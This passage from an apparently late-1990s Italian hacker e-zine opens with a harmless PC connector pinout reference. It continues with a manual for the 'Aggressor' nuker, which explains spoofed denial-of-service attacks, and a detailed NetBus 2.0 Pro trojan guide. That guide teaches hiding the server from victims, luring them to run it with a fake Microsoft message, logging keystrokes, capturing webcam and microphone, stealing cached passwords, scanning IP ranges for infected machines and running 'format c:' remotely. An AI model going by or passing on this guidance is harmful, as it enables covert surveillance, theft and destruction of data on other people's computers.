d'importanza e sperando di non dimenticare nessuno -: Alphard, 3p41R0x, Blinkinux, Nobody88, CDP e tutta la Spaghetti Phreak Crew, Lord of Destruction e tutto il D.D.T.ita, |O2|, DanteAlig, ulntwh99, eXceptiON HandlER, Black Sheep, vecna, |Exe|, DeViLNeT, Linbus, Terror Keeper, spinDOC, /sPIRIT/ e tutto il SoftPj, areac, McFly, i miei sballatissimi compagni di classe, la crew degli Spippolatori, la Terror Groove Headquarters Crew e tutto lo stuff Newbies. ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ PIEDINI CHE CASINO! ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Bene, sperando che davvero vi faccia capire come sono metalmente conciato e che quindi mi fornisca una valida attenuante a cio' che scrivero' citero' (in emulazione dichiarata del team di BFI) cio' che ho mangiato e cio' che ho ascoltato scrivendo questo brevissimo pezzo... Per la parte cibo solo 5 tortine alla mela del Mulino bianco. Per la parte audio mi hanno tenuto compagnia: Rotting Christ : A Dead Poem Sepulchral Feast : A tribute to Sepultura Ok, adesso si parte! Tutto e' iniziato quando dovevo collegare una porta ps/2 al mio pc ma non avevo uno straccio di info su che cazzo di piedini fossero i +5Volts , il data e cosi' via... Rendendomi conto del casino che ho fatto per ottenere le piedinatura corretta, vi riporto la piedinatura delle piu' normali porte del vostro pc, casomai ne aveste la necessita'.... -+-Porta seriale maschio da 9 poli visto da davanti 1 2 3 4 5 o o o o o o o o o 9 8 7 6 |1| |2| |3| |4| |5| |6| |7| |8| |9| DCD RX TX DTR GND DSR RTS CTS RI (data carrier detect) (ricezione dati) (trasmissione dati) (data terminal ready) (massa) (data set ready) (request to send) (clear to send) (ring indicator) -+-Porta seriale maschio 25 poli visto da davanti 1 13 | | o o o o o o o o o o o o o o o o o o o o o o o o o | | 1|GND|(massa) 2|TX |(trasmissione dati) 3|RX |(ricezione dati) 4|RTS|(request to send) 5|CTS|(clear to send) 6|DSR|(data set ready) 7|GND|(massa) 14 25 8|DCD|(data carrier detect) 20|DTR|(data terminal ready) 22|RI |(ring indicator) I piedini non citati sono nulli. -+-Porta parallela femmina 25 poli vista da davanti 13 1 | | o o o o o o o o o o o o o o o o o o o o o o o o o | | 25 14 1|strobe 2|d0 3|d1 4|d2 5|d3 6|d4 7|d5 8|d6 9|d7 10|acknowledge 11|busy 12|paper end 13|select 14|auto line feed 15|error 16|reset 17|select in 18|gnd 19|gnd 20|gnd 21|gnd 22|gnd 23|gnd 24|gnd 25|gnd (convalida dati emessi) (data bit zero) (data bit 1) (data bit 2) (data bit 3) (data bit 4) (data bit 5) (data bit 6) (data bit 7) (abilitazione emissione nuovi dati) (stampante occupata) (fine carta) (selezione) (avanzamento automatico di una line (errore generico) (inzializzazione) (valido solo se la porta e' epp) (massa) (massa) (massa) (massa) (massa) (massa) (massa) (massa) Se usate cavi di lunghezza superiore ai 3 metri per stampanti laser i cavi non possono essere i normali paralleli ma devono essere siglati IEEE1284 e costano 8 oppure 9 volte tanto dei cavi normali e questa differenza e' dovuta alla loro struttura interna (intereccio dei cavi fra di loro) ed alla loro schermatura (cavi della calza di dimensioni maggiori e molto fitti) ma danno il miglior risultato possibile. -+- Porta USB femmina a 4 poli vista da davanti _ _ _ _ | || || || | = = = = | | | | 1 2 3 4 1| 2| 3| 4| gnd (massa) data+ (segnale in uscita) data- (segnale in ingresso) +5 volt (alimentazione massima di 5 ampere) Ricordate che la lunghezza massima dei cavi e' pari a 3 metri per ottenere una velocita' di 1.5 megabit/secondo e non richiedono cavi schermati, se invece si vuole usare la velocita' di 12 megabit/secondo bisogna usare per forza cavi schermati ma la distanza aumenta fino a 5 metri. -+- Porta vga maschio 15 poli visto da davanti 1 \ / 5 o o o o o 6--o o o o o--10 / 11 o o o o o \ 15 pin| funzione in modo vga/svga | 1 |uscita segnale rosso 2 |uscita segnale verde 3 |uscita segnale blu 4 |non usato 5 |senza connessione 6 |massa segnale 7 |massa segnale 8 |massa segnale 9 |senza connessione 10 |massa sincronia 11 |monitor id 0 12 |senza connessione o id1 13 |sincronia orizz. ttl 14 |sincronia vert. ttl 15 |monitor id2 | funzione in modo vesa pnp | |uscita segnale rosso |uscita segnale verde |uscita segnale blu |non usato |massa |massa segnale |massa segnale |massa segnale |non usato |massa sincronia |non usato |segnale bus ddc (sda) |sincronia orizz. o composito ttl |sincronia vert. ttl |segnale bus ddc (scl) Il segnale ddc non e' altro che l'acronimo di display data channel ovvero il protocollo che consente a windows di riconoscere il tipo di monitor per adattare la frequenza orizzontale e verticale in funzione della skeda video. -+- Connettore hard disk ide -A 40 poli visto da davanti (hd da 3 1/2) 20 --o o o o o o o o o o o o o o o o o o o o-- 1 21 --o o o o o o o o o o o o o o o o o o o o-- 40 -a 44 poli visto da davanti (hd da 2 1/2) 22 --o o o o o o o o o o o o o o o o o o o o o o-- 1 23 --o o o o o o o o o o o o o o o o o o o o o o-- 44 Adesso leggetevi la funzione del pin che poi vi dico perche' ho accomunato i connettori per hd da computer normale e da computer portatile... pin| hd da 3 1/2 | hd da 2 1/2 | | | | 1 |reset |reset | 2 |massa |massa | 3 |data bit 7 |data bit 7 | 4 |data bit 8 |data bit 8 | 5 |data bit 6 |data bit 6 | 6 |data bit 9 |data bit 9 | 7 |data bit 5 |data bit 5 | 8 |data bit 10 |data bit 10 | 9 |data bit 4 |data bit 4 | 10 |data bit 11 |data bit 11 | 11 |data bit 3 |data bit 3 | 12 |data bit 12 |data bit 12 | 13 |data bit 2 |data bit 2 | 14 |data bit 13 |data bit 13 | 15 |data bit 1 |data bit 1 | 16 |data bit 14 |data bit 14 | 17 |data bit 0 |data bit 0 | 18 |data bit 15 |data bit 15 | 19 |massa |massa | 20 |chiave polarizzazione|chiave polarizzazione| 21 |dma request |dma request | 22 |massa |massa | 23 |data strobe scrittura|data strobe scrittura| 24 |massa |massa | 25 |data strobe lettura |data strobe lettura | 26 |massa |massa | 27 |i/o ready |i/o ready | 28 |cable select |cable select | 29 |dma acknowledge |dma acknowledge | 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |massa |interrupt request |chip select |address1 |pdiag (non usato) |address 0 |address 2 |ide_cs0 |ide_cs1 |led attivita' |massa |assente |assente |assente |assente |massa |interrupt request |chip select |address1 |pdiag (non usato) |address 0 |address 2 |ide_cs0 |ide_cs1 |led attivita' |massa |+5volts circuito |+5volts motore |massa generale |tipo * | | | | | | | | | | | | | | | Magia! Gli schemi coincidono se non fosse che l'hd da 2 1/2 ha gia' integrato nel suo connettore la tensione di alimentazione! Con questo schema e' quindi piuttosto facile creare un cavetto che vi permettera' sia di usare un hd da 3 1/2 sul portatile (dato che gli hd da 2 1/2 sono molto piu' cari , perche' no?) sia di usare un hd di un portatile di recupero sul vostro pc. All'ultima fiera dell'elettronica che c'era dalle mia parti i connettori da 3 1/2 verso 2 1/2 costavano circa 30.000 lirette . stessa cosa per l'inverso. Tenete presente che il cavo non deve obbligatoriamente superare il mezzo metro di lunghezza, pena perdita di dati nella trasmissione. Ah, il simbolo * si riferisce al fatto che se il contatto 44 e' messo a massa l'hd sara' visto solo come ATA. Invece i contatti 37 e 38 sono per l'indirizzo di i/o da assegnare ovvero 37 | seleziona 1f0-1f7 38 | seleziona 3f6-3f7 -+- Porta midi 15 poli femmina vista da davanti 8-- o o o o o o o o --1 15-- o o o o o o o -- 9 Azzo, pure la porta midi/joistick, ma sto facendo proprio una figata! Vabbe', andiamo avanti..... 1 |+5 volts 2 |pulsante 1 3 |joi 1 asse 4 |massa 5 |massa 6 |joi 2 asse 7 |pulsante 2 8 |+5 volts 9 |+5 volts 10|pulsante 4 11|joi 2 asse 12|midi tx 13|joi 2 asse 14|pulsante 3 15|midi rx x y x y Alcune cosette da dire in merito : -gli assi x ed y dei joi sono segnali analogici -i pulsanti sono invece segnali digitali Quindi non fate come quelli che non hanno i joi collegabili in cascata che si comprano lo scatolotto per duplicare le prese joi ed avere la porta midi distinta... Con un pochino di ragionamento vi potete fare da voi il circuitino ;-] -+- Porta ps/2 femmina vista da davanti (e meno male che volevo parlare solo di questa...) 3 o 4 o 2- o |--| o -5 1- o |__| o -6 1 2 3 4 5 6 | | | | | | clock massa data non usato +5volts non usato Ok, le mie fatiche finiscono qui, quando ne avro' ancora voglia vi faro' le piedinature della famiglia scsi con ultre wide e cazzi varii, ma adesso sono davvero stanco,il lavoro mi uccide e le nottate in bianco (in entrambi i sensi) anke... Logico che se bruciate l'hd,la piastra il mouse o vostra nonna io non ne sono assolutamente responsabile! Ok, adesso in branda, volevo solo dirvi che al consumo dell'articolo va aggiunta una bottiglia di acqua gasata e un bel pakketto di rits da 250 grammi! Ciao, RigoR MorteM , SPP 98-99 [email protected] per Newbies Staff ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ AGGRESSOR ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ <-<-[ Aggressor, come usarlo in maniera profikua ]->-> In questo doc far• una specie di manuale d'uso all'Exploit Generator, volgarmente conosciuto come Aggressor. Inanzitutto l'EG altro non Š che un nuke. Fissatevi bene in testa questo. Per quanto si dica "ahhh serve a testare le reti informatiche" le sue funzionalit… sono quelle, appunto, di un nuker, sebbene molto potente. <-<-[ Advanced Mode ]->-> L'Advanced Mode altro non Š che una modalit… di creazione dei propri pacchetti ICMP. Questi pacchi ICMP possono essere creati sporchi o puri (li ho kiamati io cos•, perch‚ kuello sporko Š kuello da nuke, kuello puro non fa un kazzo). Il pacchetto sporco viene creato smacchinando un po' sulle dimensioni e sul ICMP Header. L'ICMP header Š molto importante. Infatti Š possibile mandare il famoso Protocol Unreachable, ma per alcuni Linux basta mandare un ICMP con header ECHO_REPLY per crashare tutto. Purtroppo non ricordo dove ho letto sto exploit, ma sicuramente non andr… pi—...(mmm non sono sicuro di quello che ho detto, percio' prendetelo con le pinze...) <-<-[ Simple Mode ]->-> Burn babe burn! E al grido del simpatico protagonista di Postal, ci lanciamo a discernere sulla modalit… preferita da tutti noi NewBies: il Simple Mode!!! Il SM altro non Š che una modalit… che manda pacchi sporchi gi… creati ad un IP di nostra scelta. Nella versione 0.85 dell'EG Š possibile fare un gran numero di attacchi, tra cui il gustoso Smurf. C'Š anche incorporato un portscanner, ma Š estremamente lento, e preferisco quello di Rhad. I possibili attacchi sono NesTea, Suffer3, Boink, Land, OOB, Smurf e poi il sopracitato Portscan. Le opzioni sono tante ma le spiegher• nel dettaglio. Iniziamo a discutere i campi fondamentali, che sono "Destination IP" (DIP) e "Source IP" (SIP). Il primo campo mi sembra piuttosto intuitivo. Bisogna inserire l'IP del marpione che andiamo a nukkare. Il SIP serve solo per gli attacchi spoofati e inganna il nukkato facendogli credere che gli attacchi arrivino da quell'IP (se il gioco riesce, se mettete 127.0.0.1 come SIP e il nukkato Š lamer 100% DOC, appena contronukker… si distrugger… da solo...) Accanto al SIP, ci sono tre tastini: HL, SC e BC. Il primo Š una Host List, DOVREBBE essere una lista di host attraverso la quale Š possibile spoofare un pacchetto. Il secondo Š il Packet Spoofing Style. FINE PRIMA PARTE SpYmAsTeR ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ NETBUS 2.0 PRO GUIDE ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ***************************************************************************** Tempo impiegato: circa 6 ore Cibi assunti: un pacchetto di Mikado e un pacchetto di caramelle gelatinose alla fragola Musica: Aerosmith (I don't want to miss a thing) Pantera (Cowboys from hell, Cementery gates) Dream theater (Innocence faded) Marilyn Manson (I don't like the drugs [but the drugs like me]) Deep Purple (Highway star) U2 (With or without you) Tools usati: il cervello e la santa pazienza ***************************************************************************** Salve a tutti sono Quequero, in questo articolo cerchero' di insegnarvi ad usare al meglio tutte le funzioni del nuovo Netbus 2.0 Pro. Bando alle ciance ed iniziamo. Come tutti (o quasi) saprete il Netbus non e' altro che un trojan, cioe' uno di quei programmilli che una volta avviati si annidano tra i file del vostro computer e senza farsene accorgere si "autoeseguono" ogni volta che parte il S.O., il trojan che stiamo per esaminare e' il piu' noto ma ce ne sono altri (B.o. per esempio), il programma, come nelle sue versioni precedenti, e' composto da due file: NBSvr.exe (netbus server) e' il file che dovrete dare a chi volete infettare e NetBus.exe che e' la console dalla quale agirete ;). La prima volta che downlodiamo il proggy possiamo avviare tranquillamente anche il server e non verremo infettati visto che questo file va' configurato, facciamo quindi doppio click e vediamo cosa c'e': una finestra bianca e due pulsanti in basso "settings" & "close" clickiamo su settings e vediamo cosa appare: Accept connections= se la casella di spunta e' segnata allora chiunque potra' collegarsi al server senza chiedere il "permesso". Run on port 20034= questa e' la porta che il Netbus usa di default per connettersi al server, possiamo anche mettere 33333 oppure 12255, insomma quello che volete, questo e' un bel vantaggio dal momento che, se solo voi conoscete la porta della vittima sulla quale "gira" il server, allora solo voi potrete connettervici :) Password= bhe' credo che questa sia intuitiva, comunque se ne settate una come ad esempio "porcomondo" quando tenterete di connettervi al server lui vi chiedera' la pass e se non e' esatta allora.....NISBA. Ci siamo capiti? Visibility of server= Questa finestra ci consente di far vedere il server mentre e' in esecuzione, eccovi elencate le varie opzioni: Fully visible= totalmente visibile, in pratica una normale finestra. Minimize as trayicon= si vede l'icona del server solo sul systray (dove sta l'orologio per capirci). Only in tasklist= se viene selezionata questa allora ci accorgeremo della presenza del server solo premendo ctrl+alt+canc e guardando nella tasklist. Fully invisible= totalmente invisibile, non si puo' vedere in nessun modo ;))). Access mode= questa opzione determina cio' che possiamo fare sul computer della nostra cara vittima: Basic access: possiamo solo guardare ma non toccare, in pratica possiamo vedere i file ma non scaricarli, uplodarli o cancellarli. Spy mode access: possiamo agire in silenzio, possiamo uplodare file, guardare nelle cartelle, ma non possiamo cancellare o manipolare nulla. Fully access: da qui possiamo fare tutto ma proprio tutto, come se fossimo a casa nostra hehe ;) Autostart every windows session= dice al patch di avviarsi ogni volta che si avvia windows e per farlo mette questa stringa in regedit : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices "Netbus Server Pro"="C:\PROGRAMMI\NETBUS\NBSVR.EXE" ^---- Questa e' la locazione del patch e puo' cambiare Quindi se avete capito, per disinfettarsi dal netbus basta andare al regedit e cercare in questa locazione qualcosa di sospetto, se c'e' basta cancellare la stringa (ricordando il nome del file che puo' cambiare) riavviare il computer e cancellare quel file che "era" richiamato dalla stringa, avete capito? Se no rileggete tutto ;))) Adesso passiamo ad esaminare la console, in questa sezione non descrivero' tutti i comandi uno per uno come per il server, ma sperimenteremo le varie sezioni sul nostro amato pc. Per prima cosa andiamo sul nostro server, settiamo la password a "ciauz" e segniamo la casella "Accept connections". Apriamo la console e registriamola andando nel pannello Help|Register ed inserendo questi dati: Your name: Company: Key: NAG Quello che volete (basta non lasciarlo vuoto) FDDB7485 Fatto cio' proviamo a creare un nuovo "Host" cioe' settiamo tutte le opzioni per poter entrare nel nostro computer, per farlo andate nel menu Host|New, ci vengono chieste delle info che mi accingero' a spiegare: Destination: Un nome che volete, io usero' Quequero Host name/IP: Qui dovete inserire il nome dell'host (il vostro pc si chiama "localhost") oppure l'ip corrispondente al nostro computer, cioe' 127.0.0.1 TCP-port: lasciamo quella di default Username: lasciamolo com'e' Password: ciauz Clickiamo su ok e vediamo che appare un nuovo host oltre al primo chiamato Quequero, adesso andiamo nella directory del Netbus ed avviamo il server, fatto cio' clickiamo nella console sul terzo tasto in basso partendo da sinistra (Conntect to Host), ora possiamo divertirci ad esaminare tutte le funzionalita' di questo trojan. Andiamo sul primo tasto in a destra (quello con l'icona della finestra) e vediamo che possiamo scegliere due opzioni: System info e Cached password, la prima opzione ci da' alcune informazioni riguardo il sistema operativo della vittima e notizie sulla ram e cazzi vari, la seconda invece significa letteralmente "password nascoste" e serve per mostrarvi le password nascoste sul sistema del tizio infettato, non funziona pero' sotto winzozNT. Il secondo pulsante fa apparire un menu dal quale possiamo mandare vari tipi di messaggi (parliamo di messagebox, cioe' box ai quali si deve rispondere con "si" "no" "forse", un esempio di messagebox e' quello che ci appare quando vogliamo svuotare il cestino che ci chiede se vogliamo eliminare ad esempio il file "Sleppa.jpg" ok? credo di si) e come se non bastasse possiamo anche decidere le icone che appariranno (icona di stop, icona di informazione, icona di domanda ecc...). Ovviamente possiamo decidere il testo che ci vorremo inserire, i tasti che vogliamo far apparire e, manco a dirlo, netbus ci dira' addirittura cosa ha risposto il malcapitato. Questo menu che a prima vista sembra inutile o comunque solo "divertente" e' invece molto utile se usato nel modo appropriato, pensate che una volta ad un tizio infettato col netbus 1.7 ho uppato il patch per il 2.0 e poi gli ho mandato un messaggio che recava +o- le stesse parole "Microsoft(r) Windows(c) Message: Vai al prompt di MS-Dos e digita: patch.exe, servira' a proteggerti dal rischio di disconnessione durante l'imminente split del tuo server IRC." Bhe' pensate che coglioni vanno in giro ;)))) Una cosa che dovete assolutamente evitare di fare e' di spedire messaggi con su scritto frasi del tipo: "Formattazione in corso" oppure "Il tuo computer sta' per esplodere" ecc... Infatti noi dovremmo entrare nel computer di qualcuno in modo silenzioso, senza fargli accorgere della nostra presenza, se sarete bravi potrete collegarvi a qualcuno per mesi prima che se ne accorga, io stesso mi collegavo spesso ad un tipo e mi scaricavo dal suo cp molte cose che trovava LUI sulla rete, dopo due mesi dovevo scambiare 16 mega di file con un tipo e, non sapendo come fare, gli detti la password che usavo, scambiammo tranquillamente tutto ma poi il mio amico si diverti' a fare cazzate sul "server" e cosi' lui si disinfetto' quasi subito. Tutti voi vi sarete preoccupati almeno una volta di come tradare file per la rete, ma avevate mai pensato ad usare il netbus? Io credo di no...ringraziatemi ;))) Le altre funzioni di questo menu non serve esplicarle visto che sono piu' che intuitive, passiamo ora al 3ø pulsante. Questo menu e' stata la vera evoluzione del Netbus, da qui potrete cancellare, uplodare e copiare file a piacimento, basta ricordare che la parte alta della finestra e' del nostro cp mentre quella bassa e' del computer remoto, (che fatica trovare tutti questi sinonimi per non dire "vittima" ;) l'edit box con scritto rispettivamente "local" e "remote" ci dice in quale dir ci troviamo, il pulsante con disegnata la cartella ed una freccia serve a salire di livello (in pratica ad andare nella directory superiore), l'altro serve a cancellare un file e l'ultimo a creare una nuova directory, i pulsanti in basso a sinistra servono invece a scaricare il file selezionato (dalla lista in basso) dal computer remoto oppure a caricare un file selezionato (dalla lista in alto) SUL computer remoto, l'ultimo bottone serve a fare il refresh della schermata, close serve a chiudere la finestra ;)...quasi dimenticavo, i file che vedete segnati con una linea sono quelli nascosti. 4ø pulsante: "Window manager", da questa finestra potrete vedere tutto cioe' che e' in esecuzione sul computer bersaglio, ma entriamo nel dettaglio ed esaminiamo tutti i pulsanti. Show only visible windows= mostra solo le finestre visibili (cioe' quelle che il pollo ha al momento attive) Show only named windows= letteralmente "mostra tutte le finestre nominate" questa casella dovrebbe far vedere tutti processi attivi che sono sullo schermo (nomi dei pulsanti sulla barra di office, icone sul systray ecc...) se sono tutte e due deselezionate vedrete tutti i processi attivi, io vi consiglio di utilizzare solo la prima. Class= indica la classe del programma Text= da qui possiamo vedere il testo che appare in alto a destra nelle varie finestre, il bello e' che puo' essere cambiato, date slancio alla fantasia per vedere cosa potete farci heheh;))) Left, top= sono le coordinate del margine sinistro alto della finestra (il computer indica come X la parte alta a partire da sinistra e che cresce verso destra e come Y la parte in alto a sinistra del monitor che cresce verso il basso, inutile che se avete la risoluzione a 800x600 la X massima sara' 800 e la Y massima sara' 600) Width, Height= le coordinate della finestra Pwd char= se c'e' una finestra che puo' contenere una password allora da qui potete vedere con quale tipo di carattere sono sostituite le lettere e/o i numeri in genere e' "*". Is visible= se la casella non e' segnata allora la finestra selezionata in alto scomparira' e tornera' visibile solo se segnate la casella di spunta Is enabled= se non e' segnata allora la finestra selezionata verra' disabilitata e non potrete entrarvici Is checked= bho! Always on top= la finestra resta sempre in primo piano Close= chiude la finestra Focus= ora vi spiego, la finestra in qui state agendo ha il focus, cioe' la barra in alto e' blu invece che grigia, (cavolo che spiegazione) se voi selezionate una finestra a piacimento e clickate su questo tasto allora al malcapitato scomparira' la finestra che ha il focus (magari quella del mirc se sta' chattando su ircnet) e gli comparira' quella del sito porno dove sta' aspettando che l'immagine finisca di aprirsi....capito PoRcI!!! ;) Pulsante nø5: Registry Manager, da qui potrete navigare nel registro del cog**one e trovare magari qualche password. Per entrare nelle varie directory dovrete inserirne manualmente una di partenza cosi' come ve le elenco: \HKEY_CLASSES_ROOT \HKEY_CURRENT_USER \HKEY_LOCAL_MACHINE \HKEY_USERS \HKEY_CURRENT_CONFIG \HKEY_DYN_DATA una volta trovata una directory che ci piace possiamo inserire o cancellare dal menu "Options" nuovi valori o nuove chiavi. Pulsante nø6: Sound system, da qui si puo' abbassare o alzare i vari volumi sul computer remoto, (a mio modesto parere credo che potevano anche risparmiarsi la fatica di aggiungere questa opzione ) vista la semplicita' e l'intuitivita' dei vari comandi non mi dilunghero' ulteriormente. Pulsantino nø7: Plugin manager, se avete dei plug-in per Netbus potrete avviarli da qui. Pulsantello nø8: Port redirect, puo' essere utilizzato come un piccolo server proxy in quanto redirige i dati da una porta ad un'altra provate a fare qualcosa e capirete ;)) Button nø9: Application redirect, questa meravigliosa opzione ci consente di redirigere il command.com o il cmd.exe se si usa winzozNT, ma a quale utilita'? Semplicissimo, scrivete nella prima casella"c:\windows\command.com" (ricordate che dovete essere collegati al vostro computer tramite il server per eseguire le operazioni) e clickate su "Start app", come per magia avrete un prompt di dos remoto da utilizzare eccovi un esempio pratico, se la vostra vittima e' un nemico e si trova sulla vostra blacklist allora redirigete il command.com e scrivete format c: /autotest dhehihi miiitico! Pulsantes numeros 10: File actions, il menu in questione si divide in 5 sottomenu: Execute file= esegue un file Play sound= esegue un suono Show image= mostra un immagine Open document= apre un documento Print document= stampa un documento Non deridetemi perche' descrivo anche queste cose, ma dal momento che mi e' stato chiesto di scrivere una guida dettagliata sul Netbus 2.0 pro io la sto facendo!!! ;))) Bottoncino nø11: Spy functions, anche questo si divide in alcuni sottomenu, 4 per la precisione: Keyboard listen= ci mostra che tasti sono stati premuti sul cp remoto Capture screen image= cattura l'immagine attualmente presente sul cp remoto Capture camera video= cattura l'immagine di una telecamera (se presente e attiva) Record sound= registra i suoni che percepisce il microfono del computer Numero 12 Presente Vai alla lavagna no! Mi so' giustificato Allora ti metto impreparato e io ti do' fuoco alla casa Io so' ricco e ne tengo 2 di case allora di do' fuoco alla moglie Mi faresti solo un favore vabbe' mi arrendo.....scusi ma lei che macchina ha? Un Mercedes Quanto l'ha pagato? 80 milioni Che per caso la targa e' AX 789 GB? Si perche'? No.....cosi'...tanto per sapere!!! Basta con le cazzate, questo menu serve a spegnere il computer, resettare ecc ecc ecc... 13 A lavoro!!!: Cool functions, ha 6 sottomenu ecco a cosa servono (ufff non ce la faccio +) Client chat= manda alla vittima di messagebox recanti i nostri messaggi CD-ROM=apre e chiude il cd-rom, sembra stupido ma fa impaurire molta gente Keyboard= da qui possiamo decidere se disabilitare qualche lettera della tastiera, (provate a disabilitare la "a" e la "e" ;) possiamo anche far emettere un suono ogni volta che un tasto e' premuto, (questo e' mentalmente DEVASTANTE) oppure possiamo riabilitare tutto Mouse= scambiamo il tasto che usiamo per fare il normale click con quell'altro e possiamo riabilitare i tasti normali Go to URL= apre un browser e va ad un url a NOSTRO piacimento, provate ad aprire 15-20 browser e vedrete il divertimento Send text= il pollo sta' su IRC? Bene mentre parla con qualcunA <---notare la maiuscola, cliccate su questa funzione e scrivete cose come: "quanto vuoi?" "io sono gay e tu?" "vuoi ballare il mambo del materasso con me?", ricordate di inserire questo simblo per far premere automaticamente invio '~', dopo cio' vi garantisco che ne vedrete delle belle, non ci credete? Chiedetemi qualche log ;))))) 14! Agli ordini: Settings che e' diviso in due menu a tendina cioe': General=da qui si puo' scegliere la directory di download, cioe' quella in cui vengono messi i file che avete scaricato dal server, la lingua e se volete comprimere i file durante il trasferimento (io l'ho selezionata). "Network"= qui avrete davanti due opzioni I am not behind a firewall or proxy=se generalmente non usate un sock selezionate questa I am behind a SOCKS4 compatible proxy=se invece lo usate selezionate questa, nel campo host inserite l'indirizzo del proxy, per porta usate la 1080 visto che per la maggior parte delle volte va bene e cancellate l'user id che e' presente lasciando il campo vuoto N.B Se non sai cosa mettere usa la prima visto che solo i + esperti lo fanno ;) 15: Selezionate un host e cliccate qui per connettervici 16: Disconnect from host, indovinate un po'? 17: crea un nuovo host 18: Find Host: avete molti soldi e potete stare collegati su Internet per molto tempo? Bhe' beati voi, io non posso! A parte tutto questo tasto avvia uno scan e vi trova tutti i polli infetti con il Netbus 2.0, (ricordate che netbus 1.6 e 1.7 non sono compatibili col 2.0) ma andiamo a vedere in dettaglio come funziona: Scan from: ci chiede da quale "range" di IP vogliamo iniziare a scannare la rete, io consiglio 212.216.1.1 (se avete tempo anche da 212.1.1.1) to: qui inseriamo il range fino al quale vogliamo arrivare se avete usato come IP di partenza 212.216.1.1 allora metterete 212.255.255 TCP-port: la porta che volete scannare, lasciate quella di default Sockets: 10 o 20 Found components: questa e' la lista dei componenti che lo scan e' riuscito a trovare, gli IP elencati li dovrete inserire nel campo "Host name/IP" che abbiamo incontato precedentemente quando abbiamo creato un nuovo Host 18 ultima fermataaaaaa: da qui potrete programmare delle azioni da compiere sul computer host della vittima, e' una sorta di tabella di marcia che fa determinate cose (da voi scelte) a determinate ore, ecco la tabella delle opzioni disponibili: Command Param1 Param2 MessageBox DeleteFile NewFolder DownloadFile UploadFile AddRegData DeleteRegName RunPlugin ExecuteFile PlaySound ShowImage OpenCD 1 ExitWindows DisableKeys KeyClick SendText SwapMouse Information C:\Temp.tmp C:\New C:\RemoteFolder\File.txt C:\RemoteFolder \hkey_local_user\temp \hkey_local_user\temp Plugin.dll C:\Job.bat C:\suoni\Sound.wav C:\porno\Image.jpg Incontriamoci alle 12. C:\LocalFolder C:\LocalFolder\File.txt Peppino StringName EntryPoint Param3 ciao Params ABC 1 ABC 1 Negli esempi con "1" si intende "vero" (e' il classico valore booleano vero/falso) ("0" significa falso). Ora spieghero' tutto, la colonna "Command" elenca tutti i comandi disponibili e che sono "standard", la colonna "Param1" indica il comando da eseguire e cosi' via per le altre colonne ecco qualche esempio: Nel primo caso creiamo un Messagebox con l'icona di informazione e recante il messaggio "Incontriamoci alle 12" Nel secondo caso cancelliamo un file sul disco C che si chiama temp.tmp Nel terzo caso creiamo una cartella che si chiama new Nel quarto caso scarichiamo un file dall'host che si trova in C:\RemoteFolder\File.txt e lo mettiamo in C:\LocalFolder sul nostro pc Nel 5ø caso creiamo una chiave nel registro di winzoz in \hkey_local_user\temp, la chiamiamo "Peppino" e ci infiliamo dentro la stringa "ciao" e cosi' via per gli altri OKI? Vediamo ora come si puo' uplodare un vecchio patch e cosa possiamo fare nel computer "Amico". Aggiornare il patch dalle versioni precedenti del Netbus a quella nuova e' semplicissimo, basta connettersi ad un Host, uppare il nuovo patch e dal comando "Start program" (dal momento che siamo connessi con la versione vecchia dovremo far partire il patch con la console vecchia) scrivere ad esempio "c:\patch.exe" e dovrebbe andare bene, ma perche' uso il condizionale? Bhe' il motivo c'e' ed e' anche molto importante. Qualche giorno fa' ho aggiornato ad un tizio il patch con quello nuovo, ma non capivo come mai non riuscivo a connettermi, prima di far eseguire il server sul computer Host l'avevo configurato in modo da far accettare automaticamente la connessione e da renderlo invisibile. Nonostante tutto la connessione non avveniva, ma perche'? Io credevo che il server salvasse tutti i settaggi all'interno del file stesso, ma la realta' non e' stata questa infatti tutti le opzioni vengono salvate all'interno del registro di winzoz e quindi il tipo che ho usato come cavia molto probabilmente avra' visto apparire davanti ai propri occhi un programmino che gli chiedeva di accettare una connessione a qualcuno, e senza pensarci due volte ha chiuso il programma, come rimediamo a 